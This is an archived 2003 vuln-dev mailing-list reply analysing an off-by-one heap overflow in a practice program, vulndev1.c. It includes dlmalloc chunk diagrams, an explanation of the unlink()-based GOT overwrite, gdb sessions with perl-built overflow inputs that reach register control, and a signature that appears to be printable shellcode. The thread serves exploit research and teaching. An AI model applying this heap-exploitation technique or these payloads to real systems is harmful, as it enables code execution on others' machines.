Vulnerability Development mailing list archives

Re: vulndev1.c solution (warning SPOILER)


From: Jon Erickson <matrix () phiral com>
Date: Thu, 15 May 2003 11:59:57 -0700

On Thu, 15 May 2003 13:10:08 +0200 (CEST)
Marco Ivaldi <raptor () 0xdeadbeef info> wrote:

for the byte of \x0b.. this could have really been anything, as long as
the least sig bit was 0x1..  This is how the allocation/deallocation
functions mark the previous chunk as in use..  This tricks the first
free() call into overwriting the GOT entry, using data from buf2 (which
it thinks it part of a chunk header)..  I hope this helped clarify.. if
anyone else can add more to this please do..

This is not entirely correct. This is the chunk structure for allocated
chunks (ripped from the excellent http://www.phrack.org/phrack/57/p57-0x08
by Michel "MaXX" Kaempf):

    chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: size of the previous chunk, in bytes (used   |
             | by dlmalloc only if this previous chunk is free)        |
             +---------------------------------------------------------+
             | size: size of the chunk (the number of bytes between    |
             | "chunk" and "nextchunk") and 2 bits status information  |
      mem -> +---------------------------------------------------------+
             | fd: not used by dlmalloc because "chunk" is allocated   |
             | (user data therefore starts here)                       |
             + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
             | bk: not used by dlmalloc because "chunk" is allocated   |
             | (there may be user data here)                           |
             + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
             |                                                         .
             .                                                         .
             . user data (may be 0 bytes long)                         .
             .                                                         .
             .                                                         |
nextchunk -> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
             | prev_size: not used by dlmalloc because "chunk" is      |
             | allocated (may hold user data, to decrease wastage)     |
             +---------------------------------------------------------+

And this is the same structure for free chunks:

    chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: may hold user data (indeed, since "chunk" is |
             | free, the previous chunk is necessarily allocated)      |
             +---------------------------------------------------------+
             | size: size of the chunk (the number of bytes between    |
             | "chunk" and "nextchunk") and 2 bits status information  |
             +---------------------------------------------------------+
             | fd: forward pointer to the next chunk in the circular   |
             | doubly-linked list (not to the next _physical_ chunk)   |
             +---------------------------------------------------------+
             | bk: back pointer to the previous chunk in the circular  |
             | doubly-linked list (not the previous _physical_ chunk)  |
             +---------------------------------------------------------+
             |                                                         .
             .                                                         .
             . unused space (may be 0 bytes long)                      .
             .                                                         .
             .                                                         |
nextchunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: size of "chunk", in bytes (used by dlmalloc  |
             | because this previous chunk is free)                    |
             +---------------------------------------------------------+

Altough there may are multiple ways to exploit this off-by-one bug, my
exploit overflows the least significant byte of the size control field of
second chunk with an 'A' (0x41) char. When executing the first free(),
dlmalloc will consequently think the beginning of the next contiguous
chunk is in fact after the real size (0x100), plus the corrupted byte (in
this case 0x41), and will therefore read the memory 0x41 bytes after the
correct place (size field of the next contiguous chunk). Since this memory
area is (hopefully) zeroed, it finally reads an even integer (0x0), whose
PREV_INUSE bit is clear (#define PREV_INUSE 0x1), thus processing the
corrupted second chunk with the unlink() macro and altering the program
behaviour as explained by Jon Erickson

In my current setup, any value of char => 0x4 (no matter if even or odd)
is good to trigger the unlink() to process the corrupted second chunk.

Yup, thanks for your correction and explanation, as this is something I was pretty foggy about.  I sorta figured out 
the last bit of it by just disassembling free with gdb, so there were gaps in my understanding.  However, in trying to 
figure out what was going on, I tried many different values for the overflow byte, and I have one minor correction..

It's true that the exploit will work on the first free() for any value of the overflow char > 0x9, however I noticed 
some different things happen for values < 0x9.  If the overflow char is 0x1, 0x2, 0x6, 0x7, or 0x9 the program will 
exit cleanly without a segfault.  If the overflow char is 0x4 or 0x5, the first free() will execute fine, and the 
program will segfault on the second free().  I don't know if these cases are exploitable or not..  And finally, if the 
overflow char is 0x8 the program segfaults in the first free() (like when the char is > 0x9)

In the following output, first I show the case we exploited earlier, where the segfault happens in the first free()  [ 
(char > 0x9) || (char == 0x8) ], then I show the case where the segfault happens in the second free() [ (char == 0x4) 
|| (char == 0x5) ], and finally I show the case where there is no segfault [ (char == 0x1, 0x2, 0x6, 0x7, or 0x9) ]

matrix@overdose vuln-dev $ gcc -g vulndev1.c 
matrix@overdose vuln-dev $ gdb -q a.out
(gdb) run `perl -e 'print "A"x252 . "\x08";'` BBBBCCCC
Starting program: /home/matrix/research/vuln-dev/a.out `perl -e 'print "A"x252 . "\x08";'` BBBBCCCC

Program received signal SIGSEGV, Segmentation fault.
0x40096acf in _int_free () from /lib/libc.so.6
(gdb) where
#0  0x40096acf in _int_free () from /lib/libc.so.6
#1  0x4009589c in free () from /lib/libc.so.6
#2  0x0804848a in main (argc=3, argv=0xbffff6c4) at vulndev1.c:27
#3  0x40035dc4 in __libc_start_main () from /lib/libc.so.6
(gdb) list 27
22              p1 = argv[1], p2 = argv[2];
23      //printf("p1 is at %p\n", p1);  // DEBUG                        
24              strncpy(buf2, p2, SIZE);
25              for (i = 0; i <= SIZE && p1[i] != '\0'; i++)
26                      buf1[i] = p1[i];
27              free(buf1);
28              free(buf2);
29              return 0;
30      }
(gdb) x/i $eip
0x40096acf <_int_free+191>:     mov    %eax,0xc(%edx)
(gdb) info reg eax edx eip esp
eax            0x43434343       1128481603
edx            0x42424242       1111638594
eip            0x40096acf       0x40096acf
esp            0xbffff5f0       0xbffff5f0
(gdb) run `perl -e 'print "A"x252 . "\x05";'` BBBBCCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/matrix/research/vuln-dev/a.out `perl -e 'print "A"x252 . "\x05";'` BBBBCCCC

Program received signal SIGSEGV, Segmentation fault.
0x4009587e in free () from /lib/libc.so.6
(gdb) where
#0  0x4009587e in free () from /lib/libc.so.6
#1  0x08048495 in main (argc=3, argv=0xbffff6c4) at vulndev1.c:28
#2  0x40035dc4 in __libc_start_main () from /lib/libc.so.6
(gdb) x/i $eip
0x4009587e <free+94>:   mov    (%eax),%edi
(gdb) info reg eax edx eip esp
eax            0x8000000        134217728
edx            0x4      4
eip            0x4009587e       0x4009587e
esp            0xbffff620       0xbffff620
(gdb) 
(gdb) run `perl -e 'print "A"x252 . "\x06";'` BBBBCCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/matrix/research/vuln-dev/a.out `perl -e 'print "A"x252 . "\x06";'` BBBBCCCC

Program exited normally.
(gdb) 


I'm not really sure about what's going on in the case where the segfault happens on the second free()...  anyone wanna 
take a stab at what's happening?

-- 
%JOSE_RONNICK%50,:PTX-!399-Purr-!TTTP[XS\-.aa$-do+sP-x121-{Smm-|zq`P-wXqv-kxwx-5yyzP-11B5-0av(-4Gz!P-~]cz-HcayP-YLg/-wyx0-zyx!P-<C19-~mvIP-PqcJ-yaa7P-c0oe-rAypP-I$*F-q)cjP-*22a-WPjDP-5134-tPUn-w4wxP-118B-WV4w-xx4vPPPPPPPPPPPPPPPPPPPPPP

Attachment: _bin
Description:


Current thread: